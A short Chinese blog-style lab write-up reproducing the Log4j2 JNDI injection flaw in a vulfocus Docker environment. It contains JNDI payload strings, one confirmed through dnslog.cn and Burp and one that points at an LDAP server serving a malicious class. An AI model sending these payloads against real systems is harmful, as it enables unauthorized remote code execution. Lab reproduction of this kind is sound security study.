Log4j2漏洞复现

原理:

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.10.102:1099/exp},log4j就会解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.10.102:1099/exp

解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找,在http服务中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入

攻击者可以通过shell实现任意的命令执行,造成严重危害

受影响版本

Apache Log4j 2.x <= 2.14.1

复现

利用docker直接拉取环境

命令:

docker pull vulfocus/log4j2-rce-2021-12-09:latest

Docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest

Log4j2漏洞复现_第1张图片

然后使用浏览器访问

Log4j2漏洞复现_第2张图片

利用dnslog.cn

Log4j2漏洞复现_第3张图片 

Log4j2漏洞复现_第4张图片 

burp抓包

构造payload${jndi:ldap://eiumdj.dnslog.cn}

Log4j2漏洞复现_第5张图片

直接访问会报错400

Log4j2漏洞复现_第6张图片 

需要对其进行url编码

Log4j2漏洞复现_第7张图片 

Log4j2漏洞复现_第8张图片 

成功解析。证明存在log4j2漏洞;以上就是极其简单的复现过程,没什么技术含量一分钟基本就完事了,重点是利用,下一篇我再更新。

 

你可能感兴趣的:(log4j,java,开发语言,web安全,网络安全)